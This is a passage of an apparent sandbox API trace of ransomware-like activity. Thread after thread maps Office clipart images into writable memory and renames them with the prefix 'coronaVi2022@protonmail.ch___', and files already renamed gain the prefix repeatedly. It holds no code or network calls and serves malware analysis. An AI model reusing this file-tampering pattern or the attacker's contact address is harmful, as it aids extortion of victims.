	[0095.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif")) returned 0
	[0095.253] free (_Block=0x51f1078) 
	[0095.253] RtlExitUserThread (Status=0x0) 

Thread:
	id = 615
	os_tid = 0x1a0c

	[0095.256] _alloca_probe () returned 0x40328a
	[0095.257] GetCurrentThreadId () returned 0x1a0c
	[0095.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", dwFileAttributes=0x80) returned 1
	[0095.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc54
	[0095.257] GetFileSizeEx (in: hFile=0xc54, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13537) returned 1
	[0095.257] CreateFileMappingA (hFile=0xc54, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e1, lpName=0x0) returned 0xc58
	[0095.257] MapViewOfFile (hFileMappingObject=0xc58, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.260] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.260] CloseHandle (hObject=0xc58) returned 1
	[0095.261] GetCurrentThreadId () returned 0x1a0c
	[0095.261] FlushFileBuffers (hFile=0xc54) returned 1
	[0095.263] CloseHandle (hObject=0xc54) returned 1
	[0095.263] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 271
	[0095.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif")) returned 0
	[0095.263] free (_Block=0x51f0070) 
	[0095.263] RtlExitUserThread (Status=0x0) 

Thread:
	id = 616
	os_tid = 0x1a10

	[0095.265] _alloca_probe () returned 0x40328a
	[0095.265] GetCurrentThreadId () returned 0x1a10
	[0095.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", dwFileAttributes=0x80) returned 1
	[0095.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc58
	[0095.266] GetFileSizeEx (in: hFile=0xc58, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20209) returned 1
	[0095.266] CreateFileMappingA (hFile=0xc58, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef1, lpName=0x0) returned 0xc5c
	[0095.266] MapViewOfFile (hFileMappingObject=0xc5c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.270] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.270] CloseHandle (hObject=0xc5c) returned 1
	[0095.270] GetCurrentThreadId () returned 0x1a10
	[0095.270] FlushFileBuffers (hFile=0xc58) returned 1
	[0095.272] CloseHandle (hObject=0xc58) returned 1
	[0095.272] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 271
	[0095.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif")) returned 0
	[0095.272] free (_Block=0x51f5098) 
	[0095.273] RtlExitUserThread (Status=0x0) 

Thread:
	id = 617
	os_tid = 0x1a14

	[0095.274] _alloca_probe () returned 0x40328a
	[0095.275] GetCurrentThreadId () returned 0x1a14
	[0095.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", dwFileAttributes=0x80) returned 1
	[0095.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc5c
	[0095.275] GetFileSizeEx (in: hFile=0xc5c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20481) returned 1
	[0095.275] CreateFileMappingA (hFile=0xc5c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5001, lpName=0x0) returned 0xc60
	[0095.275] MapViewOfFile (hFileMappingObject=0xc60, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.280] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.280] CloseHandle (hObject=0xc60) returned 1
	[0095.280] GetCurrentThreadId () returned 0x1a14
	[0095.280] FlushFileBuffers (hFile=0xc5c) returned 1
	[0095.282] CloseHandle (hObject=0xc5c) returned 1
	[0095.282] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 271
	[0095.282] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif")) returned 0
	[0095.283] free (_Block=0x51f0070) 
	[0095.283] RtlExitUserThread (Status=0x0) 

Thread:
	id = 618
	os_tid = 0x1a18

	[0095.284] _alloca_probe () returned 0x40328a
	[0095.285] GetCurrentThreadId () returned 0x1a18
	[0095.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", dwFileAttributes=0x80) returned 1
	[0095.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc60
	[0095.285] GetFileSizeEx (in: hFile=0xc60, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15745) returned 1
	[0095.285] CreateFileMappingA (hFile=0xc60, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d81, lpName=0x0) returned 0xc64
	[0095.286] MapViewOfFile (hFileMappingObject=0xc64, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.289] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.289] CloseHandle (hObject=0xc64) returned 1
	[0095.289] GetCurrentThreadId () returned 0x1a18
	[0095.289] FlushFileBuffers (hFile=0xc60) returned 1
	[0095.296] CloseHandle (hObject=0xc60) returned 1
	[0095.296] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 271
	[0095.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif")) returned 0
	[0095.296] free (_Block=0x51f80b0) 
	[0095.296] RtlExitUserThread (Status=0x0) 

Thread:
	id = 619
	os_tid = 0x1a1c

	[0095.323] _alloca_probe () returned 0x40328a
	[0095.323] GetCurrentThreadId () returned 0x1a1c
	[0095.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.gif", dwFileAttributes=0x80) returned 1
	[0095.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc64
	[0095.324] GetFileSizeEx (in: hFile=0xc64, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1220) returned 1
	[0095.324] CreateFileMappingA (hFile=0xc64, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c7, lpName=0x0) returned 0xc68
	[0095.324] MapViewOfFile (hFileMappingObject=0xc68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.326] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.326] CloseHandle (hObject=0xc68) returned 1
	[0095.326] GetCurrentThreadId () returned 0x1a1c
	[0095.326] FlushFileBuffers (hFile=0xc64) returned 1
	[0095.328] CloseHandle (hObject=0xc64) returned 1
	[0095.328] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0075478.gif") returned 97
	[0095.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0075478.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0075478.gif")) returned 1
	[0095.330] free (_Block=0x51f0070) 
	[0095.330] RtlExitUserThread (Status=0x0) 

Thread:
	id = 620
	os_tid = 0x1a20

	[0095.332] _alloca_probe () returned 0x40328a
	[0095.332] GetCurrentThreadId () returned 0x1a20
	[0095.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.jpg", dwFileAttributes=0x80) returned 1
	[0095.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc68
	[0095.334] GetFileSizeEx (in: hFile=0xc68, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24759) returned 1
	[0095.334] CreateFileMappingA (hFile=0xc68, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60bd, lpName=0x0) returned 0xc6c
	[0095.334] MapViewOfFile (hFileMappingObject=0xc6c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.339] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.340] CloseHandle (hObject=0xc6c) returned 1
	[0095.340] GetCurrentThreadId () returned 0x1a20
	[0095.340] FlushFileBuffers (hFile=0xc68) returned 1
	[0095.344] CloseHandle (hObject=0xc68) returned 1
	[0095.344] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099145.jpg") returned 97
	[0095.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099145.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099145.jpg")) returned 1
	[0095.345] free (_Block=0x51f60a0) 
	[0095.345] RtlExitUserThread (Status=0x0) 

Thread:
	id = 621
	os_tid = 0x1a24

	[0095.420] _alloca_probe () returned 0x40328a
	[0095.421] GetCurrentThreadId () returned 0x1a24
	[0095.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.jpg", dwFileAttributes=0x80) returned 1
	[0095.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc6c
	[0095.424] GetFileSizeEx (in: hFile=0xc6c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24377) returned 1
	[0095.424] CreateFileMappingA (hFile=0xc6c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f41, lpName=0x0) returned 0xc70
	[0095.424] MapViewOfFile (hFileMappingObject=0xc70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0095.429] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0095.429] CloseHandle (hObject=0xc70) returned 1
	[0095.429] GetCurrentThreadId () returned 0x1a24
	[0095.429] FlushFileBuffers (hFile=0xc6c) returned 1
	[0095.432] CloseHandle (hObject=0xc6c) returned 1
	[0095.432] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099147.jpg") returned 97
	[0095.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099147.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099147.jpg")) returned 1
	[0095.433] free (_Block=0x51f0070) 
	[0095.433] RtlExitUserThread (Status=0x0) 

Thread:
	id = 622
	os_tid = 0x1a2c

	[0095.503] _alloca_probe () returned 0x40328a
	[0095.504] GetCurrentThreadId () returned 0x1a2c
	[0095.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.jpg", dwFileAttributes=0x80) returned 1
	[0095.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc70
	[0095.504] GetFileSizeEx (in: hFile=0xc70, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=18258) returned 1
	[0095.505] CreateFileMappingA (hFile=0xc70, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4753, lpName=0x0) returned 0xc74
	[0095.505] MapViewOfFile (hFileMappingObject=0xc74, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0095.510] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0095.510] CloseHandle (hObject=0xc74) returned 1
	[0095.510] GetCurrentThreadId () returned 0x1a2c
	[0095.510] FlushFileBuffers (hFile=0xc70) returned 1
	[0095.513] CloseHandle (hObject=0xc70) returned 1
	[0095.513] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099148.jpg") returned 97
	[0095.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099148.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099148.jpg")) returned 1
	[0095.514] free (_Block=0x51f90b8) 
	[0095.514] RtlExitUserThread (Status=0x0) 

Thread:
	id = 623
	os_tid = 0x1a30

	[0095.575] _alloca_probe () returned 0x40328a
	[0095.576] GetCurrentThreadId () returned 0x1a30
	[0095.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.jpg", dwFileAttributes=0x80) returned 1
	[0095.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc74
	[0095.577] GetFileSizeEx (in: hFile=0xc74, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=21914) returned 1
	[0095.577] CreateFileMappingA (hFile=0xc74, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55a3, lpName=0x0) returned 0xc78
	[0095.577] MapViewOfFile (hFileMappingObject=0xc78, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0095.582] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0095.582] CloseHandle (hObject=0xc78) returned 1
	[0095.582] GetCurrentThreadId () returned 0x1a30
	[0095.582] FlushFileBuffers (hFile=0xc74) returned 1
	[0095.589] CloseHandle (hObject=0xc74) returned 1
	[0095.589] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099150.jpg") returned 97
	[0095.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099150.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099150.jpg")) returned 1
	[0095.591] free (_Block=0x51f3088) 
	[0095.591] RtlExitUserThread (Status=0x0) 

Thread:
	id = 624
	os_tid = 0x1a34

	[0095.584] _alloca_probe () returned 0x40328a
	[0095.584] GetCurrentThreadId () returned 0x1a34
	[0095.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.jpg", dwFileAttributes=0x80) returned 1
	[0095.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc7c
	[0095.585] GetFileSizeEx (in: hFile=0xc7c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=11694) returned 1
